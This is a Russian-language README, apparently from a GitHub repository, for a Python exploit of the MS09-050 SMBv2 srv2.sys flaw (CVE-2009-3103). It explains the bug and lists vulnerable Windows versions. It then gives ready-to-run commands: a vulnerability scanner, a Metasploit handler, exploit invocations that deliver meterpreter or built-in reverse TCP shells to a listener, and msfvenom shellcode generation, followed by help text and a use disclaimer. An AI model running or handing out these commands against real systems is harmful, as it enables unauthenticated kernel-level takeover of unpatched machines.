Python-эксплойт для переполнения буфера в SMBv2 srv2.sys MS09-050 (CVE-2009-3103), со сканером уязвимости, автоопределением архитектуры и полезными нагрузками обратной оболочки x86/x64.
CVE-2009-3103
В Windows Vista и Server 2008 появился SMBv2 с новым драйвером ядра srv2.sys. Этот драйвер не проверяет поле Process Id High в запросах согласования SMB. Отправив специально сформированное значение в этом поле, атакующий заставляет srv2.sys обратиться к таблице указателей на функции с контролируемым значением, разыменовывая адрес, предоставленный атакующим.
Результат — выполнение произвольного кода в контексте ядра без необходимости аутентификации. Атакующему достаточно иметь доступ к порту 445.
Microsoft исправила эту уязвимость в октябре 2009 года (KB975517). Любая неисправленная система Vista SP1/SP2 или Server 2008 SP1 уязвима.
| Целевая ОС | Архитектура |
|---|
| Windows Vista SP1 | x86 |
| Windows Vista SP2 | x86 / x64 |
| Windows Server 2008 SP1 | x86 / x64 |
| Windows Server 2008 SP1 (до R2) | x64 |
--msf-payload для выбора пользовательской полезной нагрузки-s)[+] успех, [-] ошибка, [!] предупреждение, [*] информацияgit clone https://github.com/bytejmp/MS09-050.git
cd MS09-050
Требования:
rpcclient (из пакета smbclient), используется для запуска полезной нагрузки после инъекцииmsfvenom, необходим только при использовании флага --msfvenomВ Debian/Ubuntu:
sudo apt install smbclient
В Arch Linux:
sudo pacman -S smbclient
python3 MS09.py scan -t 192.168.1.10
Вывод:
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050
Использует stager meterpreter/reverse_tcp. Сначала запустите обработчик:
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"
Затем запустите эксплойт:
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444
Сгенерируйте сырой шелл-код один раз, используйте повторно без msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin
Затем передайте его эксплойту:
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86
$ python3 MS09.py -h
usage: MS09.py [-h] {scan,exploit} ...
MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)
positional arguments:
{scan,exploit} Operation mode
scan Scan target for MS09-050 vulnerability
exploit Send exploit to target
$ python3 MS09.py exploit -h
usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
(--payload | --msfvenom | -s FILE)
[-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]
options:
-t, --target Target IP address
-P, --port SMB port (default: 445)
-a, --arch Target architecture (auto-detected if omitted)
--payload Use built-in reverse shell payload (no Metasploit needed)
--msfvenom Generate shellcode with msfvenom
--msf-payload msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
-s, --shellcode Path to raw shellcode file
-l, --lhost Listener IP address
-p, --lport Listener port
MS09/
├── MS09.py # Main entry point
├── README.md
└── lib/
├── __init__.py
├── output.py # Standardized output formatting
├── scanner.py # SMBv2 vulnerability scanner
├── payloads.py # Built-in shellcode (reverse TCP shell)
└── exploit.py # Exploit buffer construction and delivery
Negotiate Protocol Request для определения версии ОС и архитектуры целиsrv2.sysЭтот инструмент предоставляется исключительно для авторизованного тестирования на проникновение и в образовательных целях.
Неавторизованный доступ к компьютерным системам является уголовным преступлением в большинстве юрисдикций. Вы должны получить явное письменное разрешение от владельца системы перед использованием этого инструмента против любой цели. Авторы не несут никакой ответственности и не отвечают за любое неправомерное использование или ущерб, причинённый этим программным обеспечением.
Используя этот инструмент, вы соглашаетесь с тем, что:
Используйте ответственно. Взламывайте этично.